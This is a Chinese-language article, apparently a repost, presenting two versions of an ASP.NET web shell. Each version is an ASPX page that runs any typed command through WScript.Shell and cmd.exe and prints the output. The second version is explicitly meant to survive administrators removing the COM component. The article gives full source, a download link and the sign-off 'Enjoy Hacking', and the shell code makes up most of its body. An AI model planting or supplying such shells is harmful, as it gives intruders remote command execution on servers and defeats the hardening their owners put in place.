ASP.NET下使用WScript.Shell执行命令

纽扣扣错了可以重扣,但人生不行,除非你选对了人生道路。早上起床你一句早安,晚上睡觉一句晚安。对我来说这就是极有意义的一天。


ASP.NET提供了两种方法让我们使用COM组件:1、Server对象的CreatObject方法;2、将COM组件转化为.NET组件。 ·Server对象的CreatObject方法
这个方法比较简单,直接使用就是。当然前提是服务器上已经注册了该组件,而WScript.Shell是系统自带的,我们不用担心。只是在编写代码时注意ASP.NET与ASP语法上的细微差别就可以了。直接给出代码如下:
<!--
Titel:WScript.Shell.NETVersion1
Author:lake2
Mail:lake2@mail.csdn.net
Site:http://lake2.0×54.org
Thanks:Internet
Date:2005-8-20
–>
<%@PageLanguage="VB"validateRequest="false"aspcompat="true"%>
<scriptrunat="server">
subruncmd(SrcAsObject,EAsEventArgs)
DimStrResultAsString
DimCMDShellAsObject
CMDShell=Server.CreateObject("WScript.Shell")
StrResult=CMDShell.eXec(CMDPath.Text&"/c"&CMDBox.Text).stdout.readall
StrResult=Replace(StrResult,"<","<")
StrResult=Replace(StrResult,">",">")
ResultLabel.Text="<pre>"&StrResult&"</pre>"
endsub
</script>
<html>
<head><title>WSH.SHellForASP.NETBylake2</title></head>
<body>
<formrunat="server">
"cmd.exe"'spath:<asp:TextBoxID="CMDPath"Width="500"Text="cmd.exe"runat="server"/>
<br>
YourCommand:<asp:TextBoxID="CMDBox"Width="200"runat="server"/>
<asp:ButtonID="Button"Text="Run"OnClick="runcmd"runat="server"/>
<br>
<asp:LabelID="ResultLabel"runat="server"/>
</form>
<divalign="center">———–<fontcolor="#0000FF">EnjoyHacking!</font>———–
</div>
<hrwidth="50%">
</body>
</html>
保存为aspx文件,访问之,即可。 ·将COM组件转化为.NET组件
微软给我们提供了类型库导入器(TypeLibraryImporter),经过它的转换,我们就可以使用COM组件了。转换之后,会有一个dll文件,需要放到Web目录的bin目录下组件才可以被使用。
虽然这样多了一个dll,但是这个dll不需要注册就可直接使用,非常方便,这也是ASP.NET与ASP的区别之一。哈哈,有的BT管理员没事要删除“有害”的组件,现在他也没办法了吧^_^
WScript.Shell对象是%windir%\system32\WSHom.Ocx,我们把它copy出来拿给类型库导入器转换:Tlbimp.exeWSHom.Ocx/out:WSHomx.dll
然后把WSHomx.dll放到WEB目录的bin下面。接着写代码咯,与前面的代码有少许不同。 <!--
Titel:WScript.Shell.NETVersion2
Author:lake2
Mail:lake2@mail.csdn.net
Site:http://lake2.0×54.org
Thanks:Internet
Date:2005-8-20
–>
<%@PageLanguage="VB"validateRequest="false"%>
<scriptrunat="server">
subruncmd(SrcAsObject,EAsEventArgs)
DimStrResultAsString
DimCMDShellAsNewWSHomx.WshShell
……
(后同代码1)
现在访问之,看看效果吧:)

同理,我们也可以在ASP.NET下用FSO读写文件,Application执行命令、Jmail发送邮件,等等等等。呵呵,.NET大有前途的啊。
(文中的程序点击这里下载。wscmd.aspx可直接使用;wsxcmd.aspx需使用wshomx.dll)

到此这篇关于ASP.NET下使用WScript.Shell执行命令就介绍到这了。现实的世界我们都在慢慢的長大,痛与伤是幸福开心的代价。更多相关ASP.NET下使用WScript.Shell执行命令内容请查看相关栏目,小编编辑不易,再次感谢大家的支持!

您可能有感兴趣的文章
ASP.NET中Response.BufferOutput属性的使用技巧

ASP.NET轻量级MVC框架Nancy的基本用法

ASP.NET Core中的对象池介绍

.NET集成ORM框架HiSql

asp.net中MVC的处理流程详解